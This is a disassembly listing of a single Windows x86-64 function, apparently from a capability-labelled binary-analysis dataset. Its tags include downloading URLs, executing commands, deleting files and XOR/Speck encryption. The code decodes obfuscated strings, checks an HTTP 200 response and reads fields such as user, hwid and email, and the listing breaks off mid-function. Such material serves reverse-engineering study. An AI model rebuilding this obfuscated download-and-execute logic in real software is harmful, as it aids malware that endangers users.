Function at 0x14003f54c
Capabilities:
Check http status code
Delete file
Download url
Encode data using xor
Encrypt data using speck
Execute command
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x428]
sub rsp, 0x500
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14031f010]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov al, byte [0x1403363f9]
xor esi, esi
test al, al
jne 0x140040be8
call fcn.14003aea0
mov rcx, qword [0x140336408]
call fcn.14000e878
movss xmm0, dword [0x14030cc40]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbdc]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movups xmm0, xmmword [0x140309fe8]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x140309ff8]
movups xmmword [rbp + 0x1d0], xmm1
movzx eax, word [0x14030a008]
mov word [rbp + 0x1e0], ax
mov r8d, esi
lea r9, [rbp + 0x1c0]
mov r13d, 0x24924925
mov bl, reloc.WS2_32.dll_gethostname
lea r14d, [rsi + 1]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x22
jl 0x14003f60e
lea rcx, [rbp + 0x1c0]
call fcn.14002d6cc
call fcn.14000e910
movss xmm0, dword [0x14030cc78]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbc0]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
and dword [rsp + 0x40], esi
and dword [rsp + 0x44], esi
lea rdx, [rsp + 0x40]
lea rcx, [0x14030b560]
call fcn.14002dd64
test al, al
jne 0x140040f24
movss xmm0, dword [0x14030cba0]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbfc]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movss xmm3, dword [0x14030cc7c]
movss dword [rsp + 0x40], xmm3
movss xmm4, dword [0x14030cc50]
movss dword [rsp + 0x44], xmm4
mov dword [rsp + 0x20], esi
mov r9b, r14b
lea r8, [rsp + 0x40]
mov edx, 0x44
xor ecx, ecx
call fcn.140009268
movss xmm0, dword [0x14030cc1c]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x14030cbd8]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
lea rcx, [0x14030b564]
call fcn.14002d6cc
mov dword [rsp + 0x40], 0x43250000
movss xmm1, dword [0x14030cbbc]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movss xmm6, dword [0x14030cc44]
movaps xmm0, xmm6
call fcn.14000f148
movsd xmm0, qword [str.lINS_R_A]
movsd qword [rsp + 0x50], xmm0
mov al, byte [0x14030af28]
mov byte [rsp + 0x58], al
mov r8d, esi
lea r9, [rsp + 0x50]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x14003f770
mov byte [rbp + 0xf0], sil
and dword [rsp + 0x40], esi
and dword [rsp + 0x44], esi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 8
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov edi, reloc.WLDAP32.dll_Ordinal_30
mov r9d, edi
lea r8, [0x140339818]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.1400319d4
call fcn.14000f1e8
mov dword [rsp + 0x40], 0x43250000
movss xmm1, dword [0x14030cbf0]
movss dword [rsp + 0x44], xmm1
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movaps xmm0, xmm6
call fcn.14000f148
movsd xmm0, qword [str.i_HOJQM_A]
movsd qword [rsp + 0x50], xmm0
mov al, byte [0x14030ad18]
mov byte [rsp + 0x58], al
mov r8d, esi
lea r9, [rsp + 0x50]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x14003f836
movzx eax, word [0x14030a038]
mov word [rsp + 0x48], ax
mov al, byte [0x14030a03a]
mov byte [rsp + 0x4a], al
mov r8d, esi
lea r10, [rsp + 0x48]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r10], al
add r8d, r14d
add r10, r14
cmp r8d, 3
jl 0x14003f882
and dword [rsp + 0x40], esi
and dword [rsp + 0x44], esi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8008
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, edi
lea r8, [0x140339838]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x48]
call fcn.1400319d4
call fcn.14000f1e8
movss xmm1, dword [0x14030cc3c]
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [0x14030cc28]
movss dword [rsp + 0x44], xmm2
lea rcx, [rsp + 0x40]
call fcn.14000f0d0
movss xmm3, dword [0x14030cc34]
movss dword [rsp + 0x40], xmm3
movss xmm4, dword [0x14030cbe0]
movss dword [rsp + 0x44], xmm4
movsd xmm0, qword [0x14030ad00]
movsd qword [rsp + 0x50], xmm0
mov al, byte [0x14030ad08]
mov byte [rsp + 0x58], al
mov r8d, esi
lea r9, [rsp + 0x50]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x14003f954
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14002dd64
test al, al
je 0x140040a04
lea rdx, [0x140339818]
lea rcx, [rbp + 0x250]
call fcn.140039f34
lea rdi, [0x1403326f8]
cmp rdi, rax
je 0x14003f9c6
mov r8b, sil
mov rdx, rax
mov rcx, rdi
call fcn.14004a5a4
mov r12d, 0x1000
mov rdx, qword [rbp + 0x268]
mov r15d, reloc.WS2_32.dll_recv
cmp rdx, r15
jb 0x14003fa0e
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, r12
jb 0x14003fa09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042d7f
call fcn.14005e360
lea rdx, [0x140339838]
lea rcx, [rbp + 0x250]
call fcn.140039f34
lea rcx, [0x140332778]
cmp rcx, rax
je 0x14003fa38
mov r8b, sil
mov rdx, rax
call fcn.14004a5a4
mov rdx, qword [rbp + 0x268]
cmp rdx, r15
jb 0x14003fa74
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, r12
jb 0x14003fa6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042d85
call fcn.14005e360
call fcn.140039c30
lea rax, [rbp + 0x180]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], rsi
lea r12, [0x140332778]
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.14004a504
nop
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x150], rsi
mov rdx, rdi
lea rcx, [rbp + 0x138]
call fcn.14004a504
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x138]
call fcn.14003c238
test al, al
je 0x140040bc0
call fcn.140039c30
lea rax, [rbp + 0x180]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], rsi
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.14004a504
nop
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x150], rsi
mov rdx, rdi
lea rcx, [rbp + 0x138]
call fcn.14004a504
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x138]
call fcn.14003d004
test al, al
je 0x140042d8b
call fcn.140039c30
lea rax, [rbp + 0x180]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], rsi
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.14004a504
nop
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x150], rsi
mov rdx, rdi
lea rcx, [rbp + 0x138]
call fcn.14004a504
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x138]
call fcn.140039f94
mov byte [0x1403363f9], r14b
lea rcx, [0x1403328b0]
cmp rcx, rdi
je 0x14003fc42
cmp qword [reloc.WS2_32.dll_ntohs], r15
cmovae rdi, qword [0x1403326f8]
mov r12, qword [0x140332708]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp r12, rax
ja 0x14003fc37
cmp rax, r15
cmovae rcx, qword [0x1403328b0]
mov qword [rsp + 0x60], rcx
mov qword [0x1403328c0], r12
mov r8, r12
mov rdx, rdi
call fcn.14012dc80
mov rax, qword [rsp + 0x60]
mov byte [rax + r12], sil
jmp 0x14003fc42
mov r9, rdi
mov rdx, r12
call fcn.14004cc58
movups xmm0, xmmword [0x14030a330]
movups xmmword [rbp + 0x1c0], xmm0
movzx eax, word [0x14030a358]
movsd xmm0, qword [0x14030a350]
movups xmm1, xmmword [0x14030a340]
mov word [rbp + 0x1e8], ax
movsd qword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1d0], xmm1
mov r8d, esi
lea r9, [rbp + 0x1c0]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x2a
jl 0x14003fc86
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x128], rsi
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x130], r12
mov byte [rbp + 0x118], sil
lea rax, [rbp + 0x1c0]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], sil
jne 0x14003fce1
lea rcx, [rbp + 0x118]
cmp rdi, r12
ja 0x14003fd16
mov qword [rbp + 0x128], rdi
mov r8, rdi
lea rdx, [rbp + 0x1c0]
call fcn.14012dc80
mov byte [rbp + rdi + 0x118], sil
jmp 0x14003fd26
lea r9, [rbp + 0x1c0]
mov rdx, rdi
call fcn.14004cc58
nop
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x2e8]
call fcn.14003e960
nop
cmp dword [rbp + 0x2e8], 0xc8
jne 0x14004096d
mov qword [rbp + 0xa8], rsi
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x1a0]
call fcn.14004bd44
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x150], r12
mov ebx, 4
mov qword [rbp + 0x148], rbx
mov dword [rbp + 0x138], 0x72657355
mov byte [rbp + 0x13c], sil
lea rdx, [rbp + 0x138]
mov rcx, rax
call fcn.140047bd4
lea rdx, [rbp + 0x270]
mov rcx, rax
call fcn.14004bfa8
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x30], rbx
mov dword [rbp - 0x40], 0x64697768
mov byte [rbp - 0x3c], sil
lea rdx, [rbp - 0x40]
mov rcx, rax
call fcn.140047bd4
lea rdx, [rbp + 0x2c0]
mov rcx, rax
call fcn.14004bfa8
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x178], r12
mov qword [rbp + 0x170], 5
mov ecx, dword [str.point]
mov dword [rbp + 0x160], ecx
mov cl, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbp + 0x164], cl
mov byte [rbp + 0x165], sil
lea rdx, [rbp + 0x160]
mov rcx, rax
call fcn.140047bd4
lea rdx, [rbp + 0x298]
mov rcx, rax
call fcn.14004bfa8
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x148], 5
mov ecx, dword [str.email]
mov dword [rbp + 0x138], ecx
mov cl, byte [0x14030b57c]
mov byte [rbp + 0x13c], cl
mov byte [rbp + 0x13d], sil
lea rdx, [rbp + 0x138]
mov rcx, rax
call fcn.140047bd4
lea rdx, [rbp + 0x200]
mov rcx, rax
call fcn.14004bfa8
nop
lea r9, [rbp + 0x270]
cmp qword [rbp + 0x288], r15
cmovae r9, qword [rbp + 0x270]
mov rdi, qword [rbp + 0x280]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rax
ja 0x14003ff22
lea rbx, [0x1403327e0]
cmp rax, r15
cmovae rbx, qword [0x1403327e0]
mov qword [0x1403327f0], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14012dc80
mov byte [rbx + rdi], sil
jmp 0x14003ff31
mov rdx, rdi
lea rcx, [0x1403327e0]
call fcn.14004cc58
lea r9, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], r15
cmovae r9, qword [rbp + 0x2c0]
mov rbx, qword [rbp + 0x2d0]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp rbx, rax
ja 0x14003ff87
lea rdi, [0x140332800]
cmp rax, r15
cmovae rdi, qword [0x140332800]
mov qword [0x140332810], rbx
mov r8, rbx
mov rdx, r9
mov rcx, rdi
call fcn.14012dc80
mov byte [rdi + rbx], sil
jmp 0x14003ff96
mov rdx, rbx
lea rcx, [0x140332800]
call fcn.14004cc58
lea r9, [rbp + 0x298]
cmp qword [rbp + 0x2b0], r15
cmovae r9, qword [rbp + 0x298]
mov rdi, qword [rbp + 0x2a8]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rax
ja 0x14003ffec
lea rbx, [0x140332840]
cmp rax, r15
cmovae rbx, qword [0x140332840]
mov qword [0x140332850], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14012dc80
mov byte [rbx + rdi], sil
jmp 0x14003fffb
mov rdx, rdi
lea rcx, [0x140332840]
call fcn.14004cc58
lea r9, [rbp + 0x200]
cmp qword [rbp + 0x218], r15
cmovae r9, qword [rbp + 0x200]
mov rdi, qword [rbp + 0x210]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rax
ja 0x140040051
lea rbx, [0x140332820]
cmp rax, r15
cmovae rbx, qword [0x140332820]
mov qword [0x140332830], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14012dc80
mov byte [rbx + rdi], sil
jmp 0x140040060
mov rdx, rdi
lea rcx, [0x140332820]
call fcn.14004cc58
lea r12, [0x140338b00]
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
cmp byte [rax], r14b
jne 0x14004010e
mov rax, qword [rax + 8]
mov qword [rbp - 0x78], rax
mov rbx, qword [rax]
mov r8, r12
lea rdx, [rbp + 0x160]
mov rcx, rax
call fcn.140055f48
mov rdi, qword [rbp + 0x170]
cmp byte [rdi + 0x19], sil
jne 0x1400400ff
lea rdx, [rdi + 0x20]
cmp qword [rdi + 0x38], r15
jb 0x1400400b6
mov rdx, qword [rdi + 0x20]
mov rcx, r12
cmp qword [r12 + 0x18], r15
jb 0x1400400c4
mov rcx, qword [r12]
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x60], rax
mov r8, qword [r12 + 0x10]
cmp rax, r8
cmovb r8, rax
call fcn.14012e520
test eax, eax
jne 0x1400400f8
mov rcx, qword [rsp + 0x60]
cmp qword [r12 + 0x10], rcx
jae 0x1400400f3
or eax, 0xffffffff
jmp 0x1400400f8
mov eax, esi
seta al
shr eax, 0x1f
test al, al
je 0x140040106
mov rdi, qword [rbp - 0x78]
mov rdi, qword [rdi]
cmp rdi, rbx
mov al, r14b
jne 0x140040111
mov al, sil
test al, al
je 0x14004036c
lea rax, [rbp - 0x68]
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov rdx, r12
lea rcx, [rbp - 0x68]
call fcn.14004a504
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140047bd4
mov rcx, rax
lea rdx, [rbp + 0x1c0]
call fcn.14004bfa8
mov qword [rbp - 0x70], rax
mov rax, qword [0x140332860]
mov qword [rbp - 0x78], rax
mov rbx, qword [rax + 8]
mov qword [rbp + 0x160], rbx
mov dword [rbp + 0x168], esi
mov rdi, rax
cmp byte [rbx + 0x19], sil
jne 0x140040216
mov qword [rbp + 0x160], rbx
mov rdx, r12
cmp qword [r12 + 0x18], r15
jb 0x1400401a6
mov rdx, qword [r12]
lea rcx, [rbx + 0x20]
cmp qword [rbx + 0x38], r15
jb 0x1400401b4
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x60], rax
mov r8, rax
cmp qword [r12 + 0x10], rax
cmovb r8, qword [r12 + 0x10]
call fcn.14012e520
test eax, eax
jne 0x1400401ea
mov rcx, qword [rsp + 0x60]
cmp rcx, qword [r12 + 0x10]
jae 0x1400401e5
or eax, 0xffffffff
jmp 0x1400401ea
mov eax, esi
seta al
shr eax, 0x1f
test al, al
je 0x1400401fd
mov dword [rbp + 0x168], esi
mov rbx, qword [rbx + 0x10]
jmp 0x14004020a
mov dword [rbp + 0x168], r14d
mov rdi, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], sil
je 0x140040191
mov r13d, 0x24924925
cmp byte [rdi + 0x19], sil
jne 0x140040275
lea rdx, [rdi + 0x20]
cmp qword [rdi + 0x38], r15
jb 0x14004022a
mov rdx, qword [rdi + 0x20]
mov rcx, r12
cmp qword [r12 + 0x18], r15
jb 0x140040238
mov rcx, qword [r12]
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x60], rax
mov rbx, qword [r12 + 0x10]
mov r8, rbx
cmp rax, rbx
cmovb r8, rax
call fcn.14012e520
test eax, eax
jne 0x14004026a
cmp rbx, qword [rsp + 0x60]
jae 0x140040265
or eax, 0xffffffff
jmp 0x14004026a
mov eax, esi
seta al
shr eax, 0x1f
test al, al
je 0x140040313
movabs rax, 0x2aaaaaaaaaaaaaa
cmp qword [0x140332868], rax
je 0x140042dd7
lea rax, [0x140332860]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rsi
mov ecx, 0x60
call fcn.14005f040
mov rdi, rax
mov qword [rbp - 0x38], rax
mov qword [rax + 0x20], rsi
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], rsi
mov rdx, r12
lea rcx, [rax + 0x20]
call fcn.14004a504
mov qword [rdi + 0x40], rsi
mov qword [rdi + 0x50], rsi
mov qword [rdi + 0x58], reloc.WS2_32.dll_ntohs
mov rax, qword [rbp - 0x78]
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov word [rdi + 0x18], si
mov qword [rbp - 0x38], rsi
movups xmm0, xmmword [rbp + 0x160]
movdqu xmmword [rbp + 0x160], xmm0
mov r8, rdi
lea rdx, [rbp + 0x160]
lea rcx, [0x140332860]
call fcn.14004fd18
mov rdi, rax
lea rcx, [rdi + 0x40]
mov rax, qword [rbp - 0x70]
cmp rcx, rax
je 0x14004032c
mov r8b, sil
mov rdx, rax
call fcn.14004a5a4
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, r15
jb 0x14004036c
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040367
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042dd1
call fcn.14005e360
add r12, 0x20
lea rax, [0x140339140]
cmp r12, rax
jne 0x140040067
mov rdi, rsi
movsxd rax, dword [0x14033643c]
test rax, rax
je 0x140040461
mov rbx, rsi
lea r12, [0x140000000]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
lea rdx, [0x140338b00]
add rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.14004a504
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140047e38
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140047bd4
mov rcx, rax
lea rdx, [rbp + 0x1c0]
call fcn.14004bfa8
lea rcx, [r12 + 0x336490]
add rcx, rbx
cmp rcx, rax
je 0x14004040a
mov r8b, sil
mov rdx, rax
call fcn.14004a5a4
mov rdx, qword [rbp + 0x1d8]
cmp rdx, r15
jb 0x14004044a
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040445
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042ddd
call fcn.14005e360
add rdi, r14
add rbx, 0x20
movsxd rax, dword [0x14033643c]
cmp rdi, rax
jb 0x14004039d
movups xmm0, xmmword [0x14030a400]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x14030a410]
movups xmmword [rbp + 0x1d0], xmm1
mov eax, dword [0x14030a420]
mov dword [rbp + 0x1e0], eax
movzx eax, word [0x14030a424]
mov word [rbp + 0x1e4], ax
mov al, byte [0x14030a426]
mov byte [rbp + 0x1e6], al
mov r8d, esi
lea r9, [rbp + 0x1c0]
mov bl, reloc.WS2_32.dll_gethostname
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x27
jl 0x1400404af
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x108], rsi
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x110], r12
mov byte [rbp + 0xf8], sil
lea rax, [rbp + 0x1c0]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], sil
jne 0x14004050a
lea rcx, [rbp + 0xf8]
cmp rdi, r12
ja 0x14004053f
mov qword [rbp + 0x108], rdi
mov r8, rdi
lea rdx, [rbp + 0x1c0]
call fcn.14012dc80
mov byte [rbp + rdi + 0xf8], sil
jmp 0x14004054f
lea r9, [rbp + 0x1c0]
mov rdx, rdi
call fcn.14004cc58
nop
movups xmm0, xmmword [str.J_Tt_tFR]
movups xmmword [rbp + 0x160], xmm0
mov eax, dword [0x14030a068]
mov dword [rbp + 0x170], eax
movzx eax, word [0x14030a06c]
mov word [rbp + 0x174], ax
cmp byte [0x14030a06d], sil
je 0x1400405b8
mov r8d, esi
lea r9, [rbp + 0x160]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x16
jl 0x14004058a
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r12
mov byte [rbp + 0x220], sil
lea rax, [rbp + 0x160]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], sil
jne 0x1400405df
lea rcx, [rbp + 0x220]
cmp rdi, r12
ja 0x140040614
mov qword [rbp + 0x230], rdi
mov r8, rdi
lea rdx, [rbp + 0x160]
call fcn.14012dc80
mov byte [rbp + rdi + 0x220], sil
jmp 0x140040624
lea r9, [rbp + 0x160]
mov rdx, rdi
call fcn.14004cc58
nop
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x180]
call fcn.14003e408
nop
mov qword [rbp + 0xa8], rsi
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x240]
call fcn.14004bd44
nop
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x148], 6
mov eax, dword [str.status]
mov dword [rbp + 0x138], eax
movzx eax, word [0x14030b584]
mov word [rbp + 0x13c], ax
mov byte [rbp + 0x13e], sil
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x240]
call fcn.140047bd4
lea rdx, [rbp + 0x250]
mov rcx, rax
call fcn.14004bfa8
mov rdx, qword [rbp + 0x268]
mov edi, 0x1000
cmp rdx, r15
jb 0x1400406fb
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, rdi
jb 0x1400406f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042de3
call fcn.14005e360
mov qword [rbp + 0x260], rsi
mov qword [rbp + 0x268], r12
mov byte [rbp + 0x250], sil
mov dl, byte [rbp + 0x240]
lea rcx, [rbp + 0x248]
call fcn.140049858
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, r15
jb 0x14004075f
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, rdi
jb 0x14004075a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042de9
call fcn.14005e360
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], r12
mov byte [rbp + 0x180], sil
mov rdx, qword [rbp + 0x238]
cmp rdx, r15
jb 0x1400407b0
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, rdi
jb 0x1400407ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042def
call fcn.14005e360
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r12
mov byte [rbp + 0x220], sil
mov rdx, qword [rbp + 0x110]
cmp rdx, r15
jb 0x140040801
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, rdi
jb 0x1400407fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042df5
call fcn.14005e360
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0x110], r12
mov byte [rbp + 0xf8], sil
mov rdx, qword [rbp + 0x218]
cmp rdx, r15
jb 0x140040852
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, rdi
jb 0x14004084d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042dfb
call fcn.14005e360
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], r12
mov byte [rbp + 0x200], sil
mov rdx, qword [rbp + 0x2b0]
cmp rdx, r15
jb 0x1400408a3
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, rdi
jb 0x14004089e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e01
call fcn.14005e360
mov qword [rbp + 0x2a8], rsi
mov qword [rbp + 0x2b0], r12
mov byte [rbp + 0x298], sil
mov rdx, qword [rbp + 0x2d8]
cmp rdx, r15
jb 0x1400408f4
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, rdi
jb 0x1400408ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e07
call fcn.14005e360
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], r12
mov byte [rbp + 0x2c0], sil
mov rdx, qword [rbp + 0x288]
cmp rdx, r15
jb 0x140040945
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, rdi
jb 0x140040940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e0d
call fcn.14005e360
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], r12
mov byte [rbp + 0x270], sil
mov dl, byte [rbp + 0x1a0]
lea rcx, [rbp + 0x1a8]
call fcn.140049858
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, r15
jb 0x1400409ad
inc rdx
